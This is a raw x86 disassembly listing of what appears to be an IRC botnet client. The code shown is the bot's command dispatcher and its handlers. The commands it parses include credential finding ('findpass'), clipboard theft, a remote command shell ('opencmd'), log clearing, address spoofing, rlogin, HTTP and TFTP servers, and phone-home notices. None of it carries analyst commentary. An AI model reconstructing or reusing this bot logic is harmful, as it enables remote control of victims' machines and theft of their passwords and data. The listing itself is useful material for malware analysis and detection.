		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C574
		push	offset dword_42C568
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C564
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C550
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C520
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4EC
		push	eax
		mov	dword_4CF180, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C444
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3C4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42C388
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319DA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319DA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C34C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4317F8
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB88
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2CC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		call	near ptr 26A0060h
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 26A096Ch
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C290
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C258
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C238
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42C1C8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 2690AADh
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42C150


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB88


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C114
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42C0D8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB8F0
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0B4
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C088
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C05C


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C038
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C00C
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFD8
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFAC
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF84
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF64


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
